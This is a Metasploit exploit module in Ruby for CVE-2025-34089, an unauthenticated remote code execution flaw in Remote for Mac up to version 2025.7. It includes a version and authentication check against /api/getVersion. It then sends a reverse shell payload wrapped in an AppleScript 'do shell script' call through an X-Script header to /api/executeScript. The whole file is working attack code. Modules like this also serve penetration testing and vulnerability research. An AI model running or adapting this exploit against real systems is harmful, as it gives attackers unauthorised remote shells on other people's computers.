require 'json'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Remote for Mac Unauthenticated RCE',
        'Description' => %q{
          This module exploits an unauthenticated remote code execution vulnerability in
          Remote for Mac versions up to and including 2025.7 via the /api/executeScript endpoint.
          When authentication is disabled on the target system, it allows attackers to execute
          arbitrary AppleScript commands, which can include shell commands via `do shell script`.
          All versions up to 2025.7 (including patch versions) are vulnerable.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Chokri Hammedi (@blue0x1)'],
        'References' => [
          ['CVE', '2025-34089'],
          ['PACKETSTORM', '195347']
        ],
        'DisclosureDate' => '2025-05-27',
        'Platform' => ['unix', 'osx'],
        'Arch' => ARCH_CMD,
        'Targets' => [['Auto', {}]],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'getVersion'),
      'method' => 'GET'
    )

    return CheckCode::Unknown('No response from target') unless res&.code == 200

    info = res.get_json_document

    if info.empty?
      return CheckCode::Unknown('Unable to parse JSON from /api/getVersion')
    end

    if info['requires.auth'] == true
      return CheckCode::Safe('Target requires authentication on /api/executeScript')
    end

    version = info['version'].to_s
    if version.empty?
      return CheckCode::Unknown('Could not determine target version')
    end

    target_version = Rex::Version.new(version)
    vulnerable_version = Rex::Version.new('2025.7')

    if target_version <= vulnerable_version
      return CheckCode::Appears("Target version #{version} appears vulnerable")
    else
      return CheckCode::Safe("Target version #{version} is not vulnerable")
    end
  end

  def exploit
    print_status("Generating reverse shell payload for #{datastore['LHOST']}:#{datastore['LPORT']}")
    cmd = payload.encoded
    applescript = %(do shell script "#{cmd}")

    host_name = Rex::Text.rand_text_alpha(8)
    host_model = "#{Rex::Text.rand_text_alpha(4)}#{rand(99)}"
    script_name = Rex::Text.rand_text_alpha(8)

    print_status("Sending exploit to #{Rex::Socket.to_authority(rhost, rport)} via AppleScript")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'executeScript'),
      'method' => 'GET',
      'headers' => {
        'X-ClientToken' => Rex::Text.rand_text_numeric(4),
        'X-HostName' => host_name,
        'X-HostFullModel' => host_model,
        'X-Script' => applescript,
        'X-ScriptName' => script_name,
        'X-ScriptDelay' => '0'
      }
    )

    print_status('Payload sent')
    if res&.code == 200
      print_good('Payload delivered successfully. Awaiting session...')
      res_json = res.get_json_document
      print_status("Received response: #{res_json['result']}")
    end
  end
end
